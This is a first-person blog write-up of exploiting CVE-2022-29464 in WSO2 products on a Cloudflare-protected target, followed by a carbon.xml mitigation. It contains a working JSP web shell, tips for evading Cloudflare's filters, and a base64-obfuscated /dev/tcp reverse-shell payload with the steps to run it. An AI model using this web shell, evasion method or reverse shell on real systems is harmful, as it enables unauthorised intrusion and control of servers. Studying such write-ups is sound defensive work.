This article covers the successful detection and exploitation of my first Remote Code Execution (RCE) vulnerability as one of my first steps in cybersecurity. This experience taught me valuable lessons and opened a new chapter in my cybersecurity journey.
Introduction
In this article, we will delve into the detection, exploitation of CVE-2022–29464, a critical web application vulnerability, and how a commonly used security layer like Cloudflare can be bypassed during a potential attack. It will be a study that emphasizes the constant need for testing and updating security measures in the world of cybersecurity.
What is CVE-2022–29464?
CVE-2022–29464 is a vulnerability in multiple WSO2 products that allows unauthenticated and remote attackers to execute arbitrary code on the affected systems.
The attacker must use a /fileupload endpoint with a Content-Disposition directory traversal sequence to reach a directory under the web root, such as a ../../../../repository/deployment/server/webapps directory.
This vulnerability is rated with a CVSS score of 9.8.
The advisory has the following products as vulnerable:
- WSO2 API Manager 2.2.0, up to 4.0.0
- WSO2 Identity Server 5.2.0, up to 5.11.0
- WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0
- WSO2 Identity Server as Key Manager 5.3.0, up to 5.11.0
- WSO2 Enterprise Integrator 6.2.0, up to 6.6.0
- WSO2 Open Banking AM 1.4.0, up to 2.0.0
- WSO2 Open Banking KM 1.4.0, up to 2.0.0
What is Remote Code Execution (RCE)?
Remote code execution (RCE) refers to a class of cyberattacks in which attackers remotely execute commands to place malware or other malicious code on your computer or network. In an RCE attack, there is no need for user input from you. A remote code execution vulnerability can compromise a user’s sensitive data without the hackers needing to gain physical access to your network.
Discovery and Analysis of the Vulnerability
During a comprehensive subdomain scan, it was observed that when accessing the relevant target website, users were redirected directly to the “/carbon/admin/login.jsp” directory.
In the absence of any direct reference to version information, I began a systematic process of analysis and testing based on previously reported CVE registrations. This approach involved methodically working through existing CVE lists to identify vulnerabilities that could potentially affect the target system.
After detailed analysis and testing, it was successfully identified that the system was vulnerable to CVE-2022–29464. However, the fact that the target system was protected by Cloudflare stood out as a factor preventing the injection of any malicious shell code.
Exploit Development Process & Cloudflare Bypass Method
After extensive effort and detailed work, I wrote a simple and unobtrusive code that I developed myself to exploit an existing vulnerability in the security configuration of the system.
In order to maximize the effectiveness of the developed web shell and effectively bypass Cloudflare’s security measures, I kept the structure of the code simple while choosing variable names using random and unobtrusive terms. This approach made it difficult for security filters to detect by avoiding words that could be identified as malicious by Cloudflare. This methodology made the code harder to detect, while at the same time preserving its capacity to infiltrate the target system.
This technique made the code harder to trace and harder to detect, allowing me to effectively bypass Cloudflare’s automated security detection mechanisms.
Detailed Web Shell Code Analysis
The given JSP (Java Server Pages) code below is a simple example of a web shell that executes dynamically determined shell commands on the server. It takes commands received via the x parameter from the user and directly runs them on the server’s command line, returning the output of the executed command through the web interface.
<%@ page import="java.io.*,java.util.*"%>
<%
String a = request.getParameter("x");
if (a != null) {
ProcessBuilder b = new ProcessBuilder("/bin/sh", "-c", a);
Process c = b.start();
Scanner d = new Scanner(c.getInputStream()).useDelimiter("\\A");
String e = d.hasNext() ? d.next() : "";
out.println(e);
d.close();
}
%>
The code is simple enough to avoid the detection mechanisms of advanced security systems such as Cloudflare. However, it does not contain a mechanism specifically designed to bypass any firewalls directly; instead, it can potentially avoid detection thanks to its simple and inconspicuous nature. Given that firewalls are constantly evolving and adding new detection methods, it is unclear whether such techniques will be effective in the long run.
You can access the exploit I wrote from the GitHub link below:
https://github.com/alii76tt/CVE-2022-29464-Bypass-CloudFlare
Shell Obtaining and System Access (PoC)
Access to the ability to execute commands on the system with root privileges was successfully obtained through the developed web shell, which penetrated the target system by bypassing Cloudflare security measures.
Once the web shell was successfully installed, the process of obtaining a reverse shell was initiated to enable more effective control and interaction by establishing a connection from the target system to an external server. This stage aims to provide in-depth access and control over the system.
When various payloads were attempted on the “X” parameter to obtain a reverse shell, these attempts were consistently blocked due to the tight security measures provided by Cloudflare. Cloudflare is very effective at detecting and blocking malicious activity by analyzing web traffic, this is especially true for payloads that attempt to establish external command and control connections. This demonstrates the strength of Cloudflare’s security layers and its ability to effectively filter malicious traffic.
By creating a custom shell on my own public server, I planned to install this shell on the target system. However, I encountered a significant difficulty in this process: curl and wget, which are commonly used tools for file transfer and network connection, were not available on the target system. Moreover, even ping, the basic network diagnostic tool, was not present in the target system. This situation required me to be creative in my methods of access to the target and intervention.
After much experimentation and testing various methods, I realized the need to follow a different methodology for accessing and interacting with the target system.
Step by Step
As a method that has finally achieved success in my attempts to infiltrate the target system, I have adopted a reverse shell payload prepared using base64 encoding. This strategy aims to effectively bypass security filters and make the detection of payload more difficult.
Payload: sh -i >& /dev/tcp/192.168.1.1/4545 0>&1
echo "c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEvNDU0NSAwPiYxCg==" > ilto.sh
The above command saves the base64 encoded reverse shell command in a file named ilto.sh.
The contents of ilto.sh:
At a later stage, I started the process of decoding my reverse shell payload, which was successfully placed on the target system and encoded with base64. During this process, ilto.sh i used the following command to decode the encoded payload stored in the file:
base64 -d ilto.sh > ali
The ali file contains the decoded reverse shell commands that are now ready to be executed on the target system.
I had now reached an important stage in the process of getting a reverse shell. I needed to perform a final operation on the ali file containing my previously prepared and decoded reverse shell payload. Making the file executable.
I used the following command for this operation.
chmod +x ali
The above command gives the ali file execution permission, making it a script that can be executed directly on the target system.
I have reached the final stage of the reverse shell acquisition process. At this stage, I have put port 4545 on my public server into listening, so that it can accept incoming connections from the target system.
After the listening state was started, I used the following command to start the ali file, which was previously made executable on the target system and contains the reverse shell payload:
bash ali
As a result of this process, I have achieved the ability to execute remote commands on the target system almost as if I had accessed a local terminal session.
Resolution for CVE-2022–29464
1. Stop Arcserve UDP related services (CmdUtil.exe /stopall) by referring to the technical document below:
2. Start File Explorer and open the [conf] folder in the below location:
C:\Program Files\Arcserve\Unified Data Protection\Management\IdentityServer\repository\conf
3. Make a copy of [carbon.xml] available in [conf] folder to another location as a backup.
4. Open carbon.xml with a text editor and modify the following:
Changes:
Remove the content between <FileUploadConfig> and </FileUploadConfig>.
[Original]
<FileUploadConfig>
<! -
The total file upload size limit in MB
…
<Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class>
</Mapping>
</FileUploadConfig>
[After change]
<FileUploadConfig>
</FileUploadConfig>
5. Save and close carbon.xml after making the changes.
6. Start Arcserve UDP related services (CmdUtil.exe /startall) by referring to the technical document below.
7. This completes the countermeasures for vulnerability CVE-2022–29464 in Arcserve UDP 7.0/8.x/9.x.
Conclusion
This article delves into the detection and exploitation of CVE-2022–29464, illustrating the challenges and lessons learned in bypassing Cloudflare to execute remote code. The journey from discovery to resolution emphasizes the ongoing need for vigilance and updates in cybersecurity measures. It serves as a reminder of the importance of ethical practices and the shared responsibility in securing digital environments against evolving threats.
References
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29464
https://support.arcserve.com/s/article/KB000015749?language=en_US
https://github.com/LaiKash/JSP-Reverse-and-Web-Shell/blob/main/shell.jsp
https://github.com/hakivvi/CVE-2022-29464
https://en.wikipedia.org/wiki/Jakarta_Server_Pages
